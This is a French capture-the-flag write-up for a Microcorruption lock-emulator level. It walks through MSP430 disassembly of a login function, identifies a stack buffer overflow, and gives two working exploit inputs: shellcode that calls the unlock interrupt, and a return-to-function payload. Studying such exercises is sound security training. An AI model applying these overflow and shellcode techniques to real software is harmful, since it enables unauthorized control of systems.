La fonction login
:
seg000:000044F4 login: seg000:000044F4 add.w #0FFF0h, SP seg000:000044F8 mov.w #aEnterThePasswo, R15 ; "Enter the password to continue." seg000:000044FC call #puts seg000:00004500 mov.w #aRememberPasswo, R15 ; "Remember: passwords are between 8 and 1"... seg000:00004504 call #puts seg000:00004508 mov.w #30h, R14 seg000:0000450C mov.w SP, R15 seg000:0000450E call #getsn seg000:00004512 mov.w SP, R15 seg000:00004514 call #conditionnal_unlock_door seg000:00004518 tst.w R15 seg000:0000451A jz loc_4522 seg000:0000451C mov.w #aAccessGranted_, R15 ; "Access granted." seg000:00004520 jmp loc_4526 seg000:00004522 ; --------------------------------------------------------------------------- seg000:00004522 seg000:00004522 loc_4522: ; CODE XREF: login+26 seg000:00004522 mov.w #aThatPasswordIsNotCorrec, R15 ; "That password is not correct." seg000:00004526 seg000:00004526 loc_4526: ; CODE XREF: login+2C seg000:00004526 call #puts seg000:0000452A add.w #10h, SP
On remarque assez vite qu'il y a un buffer stack overflow : la fonction alloue un buffer de 16 octets sur la stack mais autorise un input utilisateur de 48 octets. On note aussi un changement dans la fonction conditionnal_unlock_door
, elle utilise l'interruption 0x7E
qui prend en paramètre un mot de passe à tester et ouvre la porte si celui ci est correct. Ainsi le programme ne contient pas de fonction qui permet de déverrouiller la porte via l'interruption 0x7F
. Il existe deux solutions, l'une utilisant un shellcode et l'autre retournant directement sur la fonction INT
.
Le shellcode doit appeler l'interruption 0x7F
, pour cela j'ai décidé d'utiliser la fonction INT
en lui passant en paramètre le bon numéro de shellcode. Il est possible de compiler directement le shellcode sur le site de micro-corruption.
nop nop nop nop push.w #0x7F call #0x4532
Assemblé : 034303430343034330127f00b0123245
L'input permettant de valider : 034303430343034330127f00b0123245E036
.
Il est aussi possible d'utiliser directement la fonction INT
sans passer par un shellcode. Pour cela, il suffit de mettre comme adresse de retour la fonction INT
et de mettre les arguments sur la stack.
41414141414141414141414141414141 -> buffer 3245 -> adresse de INT FFFF -> adresse de retour de INT 7F00 -> premier paramètre - numéro de syscall
L'entrée 414141414141414141414141414141413245FFFF7F00
permet de valider.